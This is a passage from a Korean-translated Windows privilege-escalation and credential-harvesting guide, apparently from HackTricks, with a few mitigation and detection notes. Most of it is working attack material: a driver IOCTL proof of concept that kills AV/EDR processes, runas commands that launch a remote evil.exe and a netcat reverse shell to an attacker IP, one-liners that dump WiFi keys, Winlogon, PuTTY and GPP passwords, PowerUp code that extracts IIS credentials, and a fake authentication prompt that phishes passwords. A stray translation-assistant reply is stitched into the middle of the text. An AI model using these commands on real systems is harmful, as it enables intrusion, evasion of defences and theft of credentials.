- Protected Process/Light (PP/PPL)을 포함한 임의의 프로세스를 종료시켜, 커널을 통해 유저랜드에서 AV/EDR를 종료할 수 있게 함.
Minimal PoC pattern (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
Mitigations for developers
- DACL로 제한하려는 장치 객체를 생성할 때 항상 FILE_DEVICE_SECURE_OPEN을 설정하세요.
- 권한이 필요한 작업에 대해 호출자 컨텍스트를 검증하세요. 프로세스 종료나 핸들 반환을 허용하기 전에 PP/PPL 검사를 추가하세요.
- IOCTLs (access masks, METHOD_*, input validation)를 제한하고 직접적인 kernel privileges 대신 brokered models 사용을 고려하세요.
Detection ideas for defenders
- 의심스러운 장치 이름(예: \ .\amsdk*)에 대한 사용자 모드 오픈 및 오용을 나타내는 특정 IOCTL 시퀀스를 모니터링하세요.
- Microsoft의 vulnerable driver blocklist (HVCI/WDAC/Smart App Control)를 적용하고 자체 허용/거부 목록을 유지하세요.
PATH DLL Hijacking
만약 PATH에 포함된 폴더 안의 쓰기 권한이 있다면, 프로세스에 의해 로드된 DLL을 hijack하여 escalate privileges할 수 있습니다.
Check permissions of all folders inside PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
이 검사를 악용하는 방법에 대한 자세한 정보:
Writable Sys Path +Dll Hijacking Privesc
네트워크
공유
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
hosts file에 하드코딩된 다른 알려진 컴퓨터가 있는지 확인하세요
type C:\Windows\System32\drivers\etc\hosts
네트워크 인터페이스 & DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
열린 포트
외부에서 제한된 서비스를 확인하세요
netstat -ano #Opened ports?
라우팅 테이블
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP 테이블
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Firewall 규칙
Check this page for Firewall related commands (규칙 나열, 규칙 생성, 비활성화, 비활성화…)
더 많은 commands for network enumeration here
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
바이너리 bash.exe는 C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe에도 있습니다.
root 사용자 권한을 얻으면 아무 포트에서든 listen할 수 있습니다(처음 nc.exe로 포트를 listen하면 GUI가 nc를 방화벽에서 허용할지 묻습니다).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
bash를 root로 쉽게 시작하려면 --default-user root를 시도해 보세요.
다음 폴더에서 WSL 파일 시스템을 탐색할 수 있습니다: C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Windows 자격 증명
Winlogon 자격 증명
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Credentials manager / Windows vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault는 서버, 웹사이트 및 기타 프로그램에 대한 사용자 자격 증명을 저장합니다. 이러한 자격 증명은 Windows가 사용자를 자동으로 로그인시킬 수 있는 경우에 해당합니다. 처음 보면 사용자가 Facebook 자격 증명, Twitter 자격 증명, Gmail 자격 증명 등을 저장해 브라우저를 통해 자동으로 로그인하는 것처럼 보일 수 있습니다. 하지만 그렇지 않습니다.
Windows Vault는 Windows가 사용자를 자동으로 로그인시킬 수 있는 자격 증명을 저장합니다. 이는 리소스(서버 또는 웹사이트)에 접근하기 위해 자격 증명이 필요한 모든 Windows 애플리케이션이 이 Credential Manager 및 Windows Vault를 이용해 제공된 자격 증명을 사용하고, 사용자가 매번 사용자 이름과 비밀번호를 입력할 필요가 없다는 것을 의미합니다.
애플리케이션이 Credential Manager와 상호작용하지 않는 한, 특정 리소스에 대한 자격 증명을 사용하는 것은 불가능하다고 생각됩니다. 따라서 애플리케이션이 vault를 사용하려면 기본 저장 vault에서 해당 리소스의 자격 증명을 얻기 위해 어떤 식으로든 credential manager와 통신하고 해당 리소스의 자격 증명을 요청해야 합니다.
Use the cmdkey to list the stored credentials on the machine.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
그런 다음 저장된 자격 증명을 사용하기 위해 runas에 /savecred 옵션을 사용할 수 있습니다. 다음 예제는 SMB 공유를 통해 원격 바이너리를 호출합니다.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
제공된 자격 증명 세트를 사용해 runas 실행.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
참고: mimikatz, lazagne, credentialfileview, VaultPasswordView, 또는 Empire Powershells module에서.
DPAPI
**Data Protection API (DPAPI)**는 대칭 암호화를 위한 방법을 제공하며, 주로 Windows 운영 체제 내에서 비대칭 개인 키의 대칭 암호화에 사용됩니다. 이 암호화는 엔트로피에 크게 기여하는 사용자 또는 시스템 비밀을 활용합니다.
DPAPI enables the encryption of keys through a symmetric key that is derived from the user’s login secrets. 시스템 암호화가 포함된 시나리오에서는 시스템의 도메인 인증 비밀을 사용합니다.
암호화된 사용자 RSA 키는 DPAPI를 사용하여 %APPDATA%\Microsoft\Protect{SID} 디렉터리에 저장되며, 여기서 {SID}는 사용자의 Security Identifier를 나타냅니다. The DPAPI key, co-located with the master key that safeguards the user’s private keys in the same file, 일반적으로 64바이트의 랜덤 데이터로 구성됩니다. (이 디렉터리에 대한 접근은 제한되어 있어 CMD에서 dir 명령으로 내용을 나열할 수 없지만 PowerShell을 통해서는 나열할 수 있다는 점에 유의하세요.)
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
적절한 인수(/pvk 또는 /rpc)와 함께 mimikatz module dpapi::masterkey를 사용하여 이를 복호화할 수 있습니다.
credentials files protected by the master password는 일반적으로 다음 위치에 있습니다:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
You can use mimikatz module dpapi::cred with the appropiate /masterkey to decrypt.\
extract many DPAPI masterkeys를 memory에서 sekurlsa::dpapi 모듈로 추출할 수 있습니다 (root 권한이 있는 경우).
PowerShell 자격 증명
PowerShell credentials는 암호화된 자격 증명을 편리하게 저장하는 방법으로 scripting 및 자동화 작업에 자주 사용됩니다. 이 자격 증명은 DPAPI로 보호되며, 일반적으로 생성된 동일한 사용자와 동일한 컴퓨터에서만 복호화할 수 있습니다.
파일에 포함된 PS 자격 증명을 decrypt하려면 다음을 실행할 수 있습니다:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
와이파이
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
저장된 RDP 연결
다음 위치에서 찾을 수 있습니다: HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
그리고 HKCU\Software\Microsoft\Terminal Server Client\Servers\
최근 실행된 명령
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
원격 데스크톱 자격 증명 관리자
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Use the Mimikatz dpapi::rdg module with appropriate /masterkey to 모든 .rdg 파일을 복호화하세요
Mimikatz sekurlsa::dpapi 모듈로 메모리에서 많은 DPAPI masterkeys를 추출할 수 있습니다
Sticky Notes
사용자들은 Windows 워크스테이션에서 StickyNotes 앱을 사용해 비밀번호를 저장하거나 기타 정보를 보관하는 경우가 많으며, 이것이 데이터베이스 파일이라는 사실을 모르는 경우가 많습니다. 이 파일은 C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite에 위치하며 항상 찾아보고 검사할 가치가 있습니다.
AppCmd.exe
Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe는 %systemroot%\system32\inetsrv\ 디렉터리에 있습니다.
이 파일이 존재하면 일부 credentials가 구성되어 있고 복구될 수 있습니다.
This code was extracted from PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
C:\Windows\CCM\SCClient.exe가 존재하는지 확인하세요 .
설치 프로그램은 run with SYSTEM privileges, 많은 것이 DLL Sideloading (정보 출처 https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
파일 및 레지스트리 (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH 호스트 키
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
레지스트리의 SSH keys
SSH private keys는 레지스트리 키 HKCU\Software\OpenSSH\Agent\Keys에 저장될 수 있으므로, 그 안에 흥미로운 항목이 있는지 확인하세요:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
해당 경로에서 항목을 찾으면 대개 저장된 SSH key일 것입니다. 해당 키는 암호화되어 저장되지만 https://github.com/ropnop/windows_sshagent_extract를 사용하면 쉽게 복호화할 수 있습니다.
이 기법에 대한 자세한 정보는 다음을 참조하세요: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
만약 ssh-agent 서비스가 실행 중이 아니고 부팅 시 자동으로 시작되게 하려면 다음을 실행하세요:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
이 기술은 더 이상 유효하지 않은 것으로 보입니다. ssh 키를 몇 개 생성하고
ssh-add로 추가한 뒤 ssh로 머신에 로그인해 보았습니다. 레지스트리 HKCU\Software\OpenSSH\Agent\Keys는 존재하지 않았고 procmon은 비대칭 키 인증 과정에서dpapi.dll의 사용을 식별하지 못했습니다.
방치된 파일
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
다음 파일들은 metasploit로도 검색할 수 있습니다: post/windows/gather/enum_unattend
예시 내용:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM 백업
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
클라우드 자격 증명
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
파일 SiteList.xml을 검색하세요
캐시된 GPP 암호
이전에는 Group Policy Preferences (GPP)를 통해 여러 대의 머신에 사용자 지정 로컬 관리자 계정을 배포할 수 있는 기능이 있었습니다. 그러나 이 방법에는 심각한 보안 취약점이 있었습니다. 첫째, SYSVOL에 XML 파일로 저장된 Group Policy Objects (GPOs)는 모든 도메인 사용자가 접근할 수 있었습니다. 둘째, 이러한 GPP 내의 암호는 공개 문서화된 기본 키로 AES256으로 암호화되어 있었기 때문에, 인증된 어떤 사용자라도 이를 복호화할 수 있었습니다. 이는 사용자가 권한을 상승시킬 수 있게 할 수 있어 심각한 위험을 초래했습니다.
이 위험을 완화하기 위해, 로컬에 캐시된 GPP 파일 중 “cpassword” 필드가 비어있지 않은 파일을 스캔하는 함수가 개발되었습니다. 해당 파일을 찾으면 함수는 암호를 복호화하고 사용자 지정 PowerShell 객체를 반환합니다. 이 객체에는 GPP에 대한 세부 정보와 파일 위치가 포함되어 있어 이 보안 취약점을 식별하고 수정하는 데 도움이 됩니다.
Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (W Vista 이전) for these files:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
cPassword를 복호화하려면:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
crackmapexec를 사용하여 passwords를 얻기:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS 웹 구성
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
자격 증명이 포함된 web.config 예:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN 자격 증명
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
로그
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
credentials 요청하기
사용자가 알고 있을 것 같다면 항상 해당 사용자에게 자신의 credentials 또는 다른 사용자의 credentials 입력을 요청할 수 있습니다 (주의: 클라이언트에게 직접 credentials를 요청하는 것은 매우 위험합니다):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
credentials를 포함할 수 있는 가능한 파일 이름
다음은 과거에 passwords를 clear-text 또는 Base64로 포함하고 있었던 알려진 파일들입니다.
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
번역할 src/windows-hardening/windows-local-privilege-escalation/README.md 파일의 원문 내용을 붙여 넣어 주세요. 파일(또는 복수의 파일)을 제공해 주시면, 요청하신 규칙을 준수해 Markdown/HTML 태그는 그대로 두고 한국어로 번역해 드리겠습니다.
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
휴지통의 자격 증명
자격 증명이 있는지 휴지통(Bin)도 확인해야 합니다
여러 프로그램에 저장된 비밀번호를 복구하려면 다음을 사용할 수 있습니다: http://www.nirsoft.net/password_recovery_tools.html
레지스트리 내부
자격 증명이 포함될 수 있는 다른 레지스트리 키들
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
브라우저 기록
Chrome 또는 Firefox의 passwords가 저장된 dbs를 확인해야 합니다.
또한 브라우저의 history, bookmarks 및 favourites를 확인하세요 — 일부 passwords가 거기에 저장되어 있을 수 있습니다.
Tools to extract passwords from browsers:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
**Component Object Model (COM)**는 서로 다른 언어로 작성된 소프트웨어 구성요소 간의 intercommunication을 허용하는 Windows 운영체제 내장 기술입니다. 각 COM 컴포넌트는 **identified via a class ID (CLSID)**되며, 각 컴포넌트는 하나 이상의 인터페이스를 통해 기능을 노출하고 이들은 interface IDs (IIDs)로 식별됩니다.
COM classes 및 interfaces는 레지스트리의 HKEY\CLASSES\ROOT\CLSID 및 HKEY\CLASSES\ROOT\Interface 아래에 정의됩니다. 이 레지스트리는 HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes 를 병합하여 생성된 HKEY\CLASSES\ROOT 입니다.
이 레지스트리의 CLSID 내부에는 InProcServer32라는 하위 레지스트리가 있으며, 여기에는 default value로 DLL을 가리키는 값과 ThreadingModel이라는 값이 있습니다. ThreadingModel은 Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) 또는 Neutral (Thread Neutral)일 수 있습니다.
.png)
기본적으로, 실행될 DLL들 중 어떤 것을든 overwrite any of the DLLs 수 있다면, 그 DLL이 다른 사용자에 의해 실행될 경우 escalate privileges 할 수 있습니다.
공격자들이 COM Hijacking을 persistence 메커니즘으로 어떻게 사용하는지 알아보려면 다음을 확인하세요:
Generic Password search in files and registry
Search for file contents
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
특정 파일 이름을 가진 파일 찾기
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
레지스트리에서 키 이름과 비밀번호 검색
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
비밀번호를 검색하는 도구
MSF-Credentials Plugin msf 플러그인입니다. 이 플러그인은 피해자 내부에서 credentials를 검색하는 모든 metasploit POST module을 자동으로 실행하도록 만들어졌습니다.\
Winpeas는 이 페이지에 언급된 비밀번호가 포함된 모든 파일을 자동으로 검색합니다.\
Lazagne는 시스템에서 비밀번호를 추출하는 또 다른 훌륭한 도구입니다.
도구 SessionGopher는 이 데이터를 평문으로 저장하는 여러 도구(PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)의 sessions, usernames 및 passwords를 검색합니다.
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).
Named Pipe Client Impersonation
Shared memory segments, referred to as pipes, enable process communication and data transfer.
Windows provides a feature called Named Pipes, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as named pipe server and named pipe client.
When data is sent through a pipe by a client, the server that set up the pipe has the ability to take on the identity of the client, assuming it has the necessary SeImpersonate rights. Identifying a privileged process that communicates via a pipe you can mimic provides an opportunity to gain higher privileges by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found here and here.
Also the following tool allows to intercept a named pipe communication with a tool like burp: https://github.com/gabriel-sztejnworcel/pipe-intercept and this tool allows to list and see all the pipes to find privescs https://github.com/cyberark/PipeViewer
Telephony tapsrv remote DWORD write to RCE
The Telephony service (TapiSrv) in server mode exposes \\pipe\\tapsrv (MS-TRP). A remote authenticated client can abuse the mailslot-based async event path to turn ClientAttach into an arbitrary 4-byte write to any existing file writable by NETWORK SERVICE, then gain Telephony admin rights and load an arbitrary DLL as the service. Full flow:
ClientAttachwithpszDomainUserset to a writable existing path → the service opens it viaCreateFileW(..., OPEN_EXISTING)and uses it for async event writes.- Each event writes the attacker-controlled
InitContextfromInitializeto that handle. Register a line app withLRegisterRequestRecipient(Req_Func 61), triggerTRequestMakeCall(Req_Func 121), fetch viaGetAsyncEvents(Req_Func 0), then unregister/shutdown to repeat deterministic writes. - Add yourself to
[TapiAdministrators]inC:\Windows\TAPI\tsec.ini, reconnect, then callGetUIDllNamewith an arbitrary DLL path to executeTSPI_providerUIIdentifyasNETWORK SERVICE.
More details:
Telephony Tapsrv Arbitrary Dword Write To Rce
기타
Windows에서 실행될 수 있는 파일 확장자
다음 페이지를 확인하세요 https://filesec.io/
Protocol handler / ShellExecute abuse via Markdown renderers
Clickable Markdown links forwarded to ShellExecuteExW can trigger dangerous URI handlers (file:, ms-appinstaller: or any registered scheme) and execute attacker-controlled files as the current user. See:
Protocol Handler Shell Execute Abuse
명령줄에서 비밀번호 모니터링하기
사용자 권한으로 쉘을 얻으면 예약된 작업이나 다른 프로세스들이 명령줄에 자격 증명을 전달할 수 있습니다. 아래 스크립트는 2초마다 프로세스의 명령줄을 캡처하고 현재 상태를 이전 상태와 비교하여 차이 사항을 출력합니다.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Stealing passwords from processes
낮은 권한 사용자에서 NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
